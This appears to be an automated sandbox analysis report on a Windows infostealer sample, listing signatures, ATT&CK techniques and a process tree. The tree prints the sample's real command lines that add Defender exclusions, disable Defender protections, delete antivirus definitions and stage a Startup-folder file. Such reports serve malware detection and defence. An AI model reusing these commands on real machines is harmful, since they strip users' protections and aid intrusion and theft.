2d714dd96a564d010a3a6c78ac5d51935290999e2a8d4bba6f98fd9138d167df

Analysis

user interaction
yes
max time kernel
149s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 09:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Built.exe
Size 14.1MB
Sample260728-lmsg6sfl71
SHA256 2d714dd96a564d010a3a6c78ac5d51935290999e2a8d4bba6f98fd9138d167df
MD5 be67203d344ef2d45c66af89519a5df9
SHA1 9775be8252140cb416707ad36edbeea6a28fa7dc
SHA512 1d40be2d5b7741b419da164957a26889b1690ce53ef12fbe2c0691cccfc14fe725a7248678259708f4ffd847275e31f608dfd76c5d927d724f28cd991be1dd5b
SSDEEP 196608:+AxxkZDq23CSbHtV4j48OuHsntMNkIahjyRumK4K1S0Dgp3AtRgEvoK7LVFLpSNX:b2x1MPp5Qms1SgtRLvF7XLpQn
TLSH
T1ADE633143AC541A7EDE6163E8E928619FBE074421B7096DF03789BB42F2F890857E379
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4160	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5800	powershell.exe
3832	powershell.exe
3472	powershell.exe
2752	powershell.exe
5684	powershell.exe
720	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2752	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1056	powershell.exe
5276	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2944	bound.exe
5400	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe
4948	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bound.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
3	ip-api.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
5484	tasklist.exe
5508	tasklist.exe
2884	tasklist.exe
5900	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c50e-30.dat	upx
behavioral2/memory/4948-34-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/files/0x001500000001c471-36.dat	upx
behavioral2/files/0x000d00000001c50b-38.dat	upx
behavioral2/memory/4948-42-0x00007FFA50F70000-0x00007FFA50F7F000-memory.dmp	upx
behavioral2/files/0x000e00000001c4ef-44.dat	upx
behavioral2/memory/4948-45-0x00007FFA50B40000-0x00007FFA50B5A000-memory.dmp	upx
behavioral2/files/0x000d00000001c506-47.dat	upx
behavioral2/memory/4948-48-0x00007FFA50B10000-0x00007FFA50B3C000-memory.dmp	upx
behavioral2/memory/4948-50-0x00007FFA50A90000-0x00007FFA50B10000-memory.dmp	upx
behavioral2/files/0x001400000001c44a-43.dat	upx
behavioral2/memory/4948-39-0x00007FFA50B60000-0x00007FFA50B89000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f2-51.dat	upx
behavioral2/memory/4948-54-0x00007FFA50A80000-0x00007FFA50A8D000-memory.dmp	upx
behavioral2/files/0x000d00000001c505-53.dat	upx
behavioral2/memory/4948-57-0x00007FFA50A70000-0x00007FFA50A7F000-memory.dmp	upx
behavioral2/files/0x000e00000001c4ee-59.dat	upx
behavioral2/files/0x000d00000001c50a-61.dat	upx
behavioral2/memory/4948-62-0x00007FFA50A40000-0x00007FFA50A54000-memory.dmp	upx
behavioral2/memory/4948-64-0x00007FFA37CD0000-0x00007FFA38301000-memory.dmp	upx
behavioral2/files/0x000d00000001c502-65.dat	upx
behavioral2/files/0x000d00000001c504-67.dat	upx
behavioral2/memory/4948-69-0x00007FFA4EDF0000-0x00007FFA4EE0A000-memory.dmp	upx
behavioral2/memory/4948-68-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/files/0x000d00000001c50c-71.dat	upx
behavioral2/memory/4948-74-0x00007FFA4EDB0000-0x00007FFA4EDE6000-memory.dmp	upx
behavioral2/memory/4948-75-0x00007FFA4A5D0000-0x00007FFA4A723000-memory.dmp	upx
behavioral2/memory/4948-73-0x00007FFA50B60000-0x00007FFA50B89000-memory.dmp	upx
behavioral2/files/0x000d00000001c503-81.dat	upx
behavioral2/memory/4948-84-0x00007FFA4ED20000-0x00007FFA4ED46000-memory.dmp	upx
behavioral2/files/0x000d00000001c517-83.dat	upx
behavioral2/memory/4948-86-0x00007FFA3C8A0000-0x00007FFA3CA2A000-memory.dmp	upx
behavioral2/files/0x000d00000001c511-88.dat	upx
behavioral2/memory/4948-90-0x00007FFA4ED10000-0x00007FFA4ED1D000-memory.dmp	upx
behavioral2/files/0x000d00000001c518-95.dat	upx
behavioral2/memory/4948-89-0x00007FFA50A90000-0x00007FFA50B10000-memory.dmp	upx
behavioral2/memory/4948-97-0x00007FFA43010000-0x00007FFA430CE000-memory.dmp	upx
behavioral2/memory/4948-117-0x00007FFA50A70000-0x00007FFA50A7F000-memory.dmp	upx
behavioral2/memory/4948-227-0x00007FFA50A40000-0x00007FFA50A54000-memory.dmp	upx
behavioral2/memory/4948-252-0x00007FFA37CD0000-0x00007FFA38301000-memory.dmp	upx
behavioral2/memory/4948-255-0x00007FFA4EDB0000-0x00007FFA4EDE6000-memory.dmp	upx
behavioral2/memory/4948-285-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/memory/4948-286-0x00007FFA50B60000-0x00007FFA50B89000-memory.dmp	upx
behavioral2/memory/4948-301-0x00007FFA43010000-0x00007FFA430CE000-memory.dmp	upx
behavioral2/memory/4948-299-0x00007FFA3C8A0000-0x00007FFA3CA2A000-memory.dmp	upx
behavioral2/memory/4948-298-0x00007FFA4ED20000-0x00007FFA4ED46000-memory.dmp	upx
behavioral2/memory/4948-379-0x00007FFA4EDB0000-0x00007FFA4EDE6000-memory.dmp	upx
behavioral2/memory/4948-380-0x00007FFA4A5D0000-0x00007FFA4A723000-memory.dmp	upx
behavioral2/memory/4948-377-0x00007FFA37CD0000-0x00007FFA38301000-memory.dmp	upx
behavioral2/memory/4948-368-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/memory/4948-592-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/memory/4948-606-0x00007FFA3C8A0000-0x00007FFA3CA2A000-memory.dmp	upx
behavioral2/memory/4948-612-0x00007FFA50F70000-0x00007FFA50F7F000-memory.dmp	upx
behavioral2/memory/4948-616-0x00007FFA50A80000-0x00007FFA50A8D000-memory.dmp	upx
behavioral2/memory/4948-618-0x00007FFA50A40000-0x00007FFA50A54000-memory.dmp	upx
behavioral2/memory/4948-623-0x00007FFA4ED20000-0x00007FFA4ED46000-memory.dmp	upx
behavioral2/memory/4948-626-0x00007FFA43010000-0x00007FFA430CE000-memory.dmp	upx
behavioral2/memory/4948-624-0x00007FFA3C8A0000-0x00007FFA3CA2A000-memory.dmp	upx
behavioral2/memory/4948-625-0x00007FFA4ED10000-0x00007FFA4ED1D000-memory.dmp	upx
behavioral2/memory/4948-622-0x00007FFA4A5D0000-0x00007FFA4A723000-memory.dmp	upx
behavioral2/memory/4948-610-0x00007FFA3B2E0000-0x00007FFA3B9ED000-memory.dmp	upx
behavioral2/memory/4948-621-0x00007FFA4EDB0000-0x00007FFA4EDE6000-memory.dmp	upx
behavioral2/memory/4948-620-0x00007FFA4EDF0000-0x00007FFA4EE0A000-memory.dmp	upx
behavioral2/memory/4948-619-0x00007FFA37CD0000-0x00007FFA38301000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 31 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
612	cmd.exe
208	cmd.exe
2492	cmd.exe
2664	cmd.exe
5636	cmd.exe
4676	cmd.exe
4100	cmd.exe
5936	cmd.exe
2228	cmd.exe
2960	cmd.exe
5408	cmd.exe
2580	cmd.exe
4792	cmd.exe
112	cmd.exe
1708	cmd.exe
1232	cmd.exe
2232	cmd.exe
1928	cmd.exe
4128	cmd.exe
4588	cmd.exe
1776	cmd.exe
1956	cmd.exe
6140	cmd.exe
4288	cmd.exe
3832	cmd.exe
4264	cmd.exe
2140	cmd.exe
2100	cmd.exe
1936	cmd.exe
1132	cmd.exe
3352	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5408	cmd.exe
628	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5340	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4152	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
5800	powershell.exe
5800	powershell.exe
3832	powershell.exe
3832	powershell.exe
3472	powershell.exe
3472	powershell.exe
5800	powershell.exe
2752	powershell.exe
2752	powershell.exe
3832	powershell.exe
2752	powershell.exe
3472	powershell.exe
52	WMIC.exe
52	WMIC.exe
52	WMIC.exe
52	WMIC.exe
1056	powershell.exe
1056	powershell.exe
1056	powershell.exe
5684	powershell.exe
5684	powershell.exe
5684	powershell.exe
6052	powershell.exe
6052	powershell.exe
6052	powershell.exe
3932	WMIC.exe
3932	WMIC.exe
3932	WMIC.exe
3932	WMIC.exe
5036	WMIC.exe
5036	WMIC.exe
5036	WMIC.exe
5036	WMIC.exe
5268	WMIC.exe
5268	WMIC.exe
5268	WMIC.exe
5268	WMIC.exe
720	powershell.exe
720	powershell.exe
720	powershell.exe
5340	WMIC.exe
5340	WMIC.exe
5340	WMIC.exe
5340	WMIC.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
3552	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5800	powershell.exe
Token: SeSecurityPrivilege	5800	powershell.exe
Token: SeTakeOwnershipPrivilege	5800	powershell.exe
Token: SeLoadDriverPrivilege	5800	powershell.exe
Token: SeSystemProfilePrivilege	5800	powershell.exe
Token: SeSystemtimePrivilege	5800	powershell.exe
Token: SeProfSingleProcessPrivilege	5800	powershell.exe
Token: SeIncBasePriorityPrivilege	5800	powershell.exe
Token: SeCreatePagefilePrivilege	5800	powershell.exe
Token: SeBackupPrivilege	5800	powershell.exe
Token: SeRestorePrivilege	5800	powershell.exe
Token: SeShutdownPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeSystemEnvironmentPrivilege	5800	powershell.exe
Token: SeRemoteShutdownPrivilege	5800	powershell.exe
Token: SeUndockPrivilege	5800	powershell.exe
Token: SeManageVolumePrivilege	5800	powershell.exe
Token: 33	5800	powershell.exe
Token: 34	5800	powershell.exe
Token: 35	5800	powershell.exe
Token: 36	5800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2752	powershell.exe
Token: SeSecurityPrivilege	2752	powershell.exe
Token: SeTakeOwnershipPrivilege	2752	powershell.exe
Token: SeLoadDriverPrivilege	2752	powershell.exe
Token: SeSystemProfilePrivilege	2752	powershell.exe
Token: SeSystemtimePrivilege	2752	powershell.exe
Token: SeProfSingleProcessPrivilege	2752	powershell.exe
Token: SeIncBasePriorityPrivilege	2752	powershell.exe
Token: SeCreatePagefilePrivilege	2752	powershell.exe
Token: SeBackupPrivilege	2752	powershell.exe
Token: SeRestorePrivilege	2752	powershell.exe
Token: SeShutdownPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeSystemEnvironmentPrivilege	2752	powershell.exe
Token: SeRemoteShutdownPrivilege	2752	powershell.exe
Token: SeUndockPrivilege	2752	powershell.exe
Token: SeManageVolumePrivilege	2752	powershell.exe
Token: 33	2752	powershell.exe
Token: 34	2752	powershell.exe
Token: 35	2752	powershell.exe
Token: 36	2752	powershell.exe
Token: SeIncreaseQuotaPrivilege	3832	powershell.exe
Token: SeSecurityPrivilege	3832	powershell.exe
Token: SeTakeOwnershipPrivilege	3832	powershell.exe
Token: SeLoadDriverPrivilege	3832	powershell.exe
Token: SeSystemProfilePrivilege	3832	powershell.exe
Token: SeSystemtimePrivilege	3832	powershell.exe
Token: SeProfSingleProcessPrivilege	3832	powershell.exe
Token: SeIncBasePriorityPrivilege	3832	powershell.exe
Token: SeCreatePagefilePrivilege	3832	powershell.exe
Token: SeBackupPrivilege	3832	powershell.exe
Token: SeRestorePrivilege	3832	powershell.exe
Token: SeShutdownPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeSystemEnvironmentPrivilege	3832	powershell.exe
Token: SeRemoteShutdownPrivilege	3832	powershell.exe
Token: SeUndockPrivilege	3832	powershell.exe
Token: SeManageVolumePrivilege	3832	powershell.exe
Token: 33	3832	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 696 wrote to memory of 4948	696	Built.exe	89
PID 4948 wrote to memory of 4100	4948	Built.exe	91
PID 4948 wrote to memory of 4792	4948	Built.exe	92
PID 4948 wrote to memory of 112	4948	Built.exe	95
PID 4948 wrote to memory of 208	4948	Built.exe	96
PID 4948 wrote to memory of 1708	4948	Built.exe	99
PID 4100 wrote to memory of 5800	4100	cmd.exe	101
PID 1708 wrote to memory of 3832	1708	cmd.exe	102
PID 112 wrote to memory of 3472	112	cmd.exe	103
PID 4792 wrote to memory of 2752	4792	cmd.exe	104
PID 208 wrote to memory of 2944	208	cmd.exe	105
PID 2944 wrote to memory of 3552	2944	bound.exe	106
PID 3552 wrote to memory of 4444	3552	msedgewebview2.exe	107
PID 3552 wrote to memory of 1040	3552	msedgewebview2.exe	109
PID 3552 wrote to memory of 1040	3552	msedgewebview2.exe	109
PID 3552 wrote to memory of 1040	3552	msedgewebview2.exe	109
PID 3552 wrote to memory of 1040	3552	msedgewebview2.exe	109
PID 3552 wrote to memory of 2324	3552	msedgewebview2.exe	110
PID 3552 wrote to memory of 1304	3552	msedgewebview2.exe	111
PID 3552 wrote to memory of 1304	3552	msedgewebview2.exe	111
PID 3552 wrote to memory of 1304	3552	msedgewebview2.exe	111
PID 3552 wrote to memory of 3936	3552	msedgewebview2.exe	112
PID 3552 wrote to memory of 3936	3552	msedgewebview2.exe	112
PID 3552 wrote to memory of 3936	3552	msedgewebview2.exe	112
PID 3552 wrote to memory of 3936	3552	msedgewebview2.exe	112
PID 3552 wrote to memory of 3936	3552	msedgewebview2.exe	112
PID 4792 wrote to memory of 4160	4792	cmd.exe	114
PID 4948 wrote to memory of 5936	4948	Built.exe	115
PID 4948 wrote to memory of 1928	4948	Built.exe	116
PID 4948 wrote to memory of 1232	4948	Built.exe	119
PID 1928 wrote to memory of 5484	1928	cmd.exe	120
PID 4948 wrote to memory of 5276	4948	Built.exe	121
PID 4948 wrote to memory of 4588	4948	Built.exe	122
PID 4948 wrote to memory of 4128	4948	Built.exe	125
PID 4948 wrote to memory of 5408	4948	Built.exe	127
PID 4948 wrote to memory of 6140	4948	Built.exe	130
PID 5936 wrote to memory of 5508	5936	cmd.exe	131
PID 4948 wrote to memory of 2492	4948	Built.exe	133
PID 5276 wrote to memory of 1056	5276	cmd.exe	135
PID 2492 wrote to memory of 4652	2492	cmd.exe	137
PID 5408 wrote to memory of 628	5408	cmd.exe	136
PID 6140 wrote to memory of 4152	6140	cmd.exe	138
PID 4588 wrote to memory of 2884	4588	cmd.exe	139
PID 1232 wrote to memory of 52	1232	cmd.exe	140
PID 4128 wrote to memory of 5036	4128	cmd.exe	183
PID 4948 wrote to memory of 2664	4948	Built.exe	143
PID 4948 wrote to memory of 4288	4948	Built.exe	142
PID 4288 wrote to memory of 5224	4288	cmd.exe	146
PID 2664 wrote to memory of 2124	2664	cmd.exe	147
PID 4948 wrote to memory of 2228	4948	Built.exe	148
PID 4948 wrote to memory of 3832	4948	Built.exe	150
PID 2228 wrote to memory of 944	2228	cmd.exe	179
PID 4948 wrote to memory of 4264	4948	Built.exe	153
PID 3832 wrote to memory of 3932	3832	cmd.exe	180
PID 4948 wrote to memory of 2140	4948	Built.exe	156
PID 4264 wrote to memory of 5900	4264	cmd.exe	158
PID 2140 wrote to memory of 2284	2140	cmd.exe	159
PID 4948 wrote to memory of 2960	4948	Built.exe	160
PID 2960 wrote to memory of 4956	2960	cmd.exe	182
PID 4948 wrote to memory of 1776	4948	Built.exe	163
PID 1776 wrote to memory of 5012	1776	cmd.exe	186
PID 4948 wrote to memory of 2100	4948	Built.exe	166
PID 2100 wrote to memory of 1044	2100	cmd.exe	195
PID 4948 wrote to memory of 2232	4948	Built.exe	169

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5224	attrib.exe
944	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:696
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of WriteProcessMemory
      PID:2944
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=bound.exe --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=2944.2588.16400254013448476996 /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69
        5⤵
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:3552
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView /prefetch:4 /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x180,0x184,0x188,0x120,0x190,0x7ffa2c855fd8,0x7ffa2c855fe4,0x7ffa2c855ff0
        6⤵
        
        PID:4444
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView" --webview-exe-name=bound.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1736 --field-trial-handle=1740,i,16357517158616239398,7596404952765308080,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69
        6⤵
        
        PID:1040
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView" --webview-exe-name=bound.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=1996 --field-trial-handle=1740,i,16357517158616239398,7596404952765308080,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69
        6⤵
        
        PID:2324
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView" --webview-exe-name=bound.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2112 --field-trial-handle=1740,i,16357517158616239398,7596404952765308080,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69
        6⤵
        
        PID:1304
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{111D80B2-1B1F-49F8-BF12-A3702CA3F284}\wv2\EBWebView" --webview-exe-name=bound.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3460 --field-trial-handle=1740,i,16357517158616239398,7596404952765308080,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:b409c81ffdca04750f024a1fcf7c6ddfe35cfe69 /prefetch:1
        6⤵
        
        PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
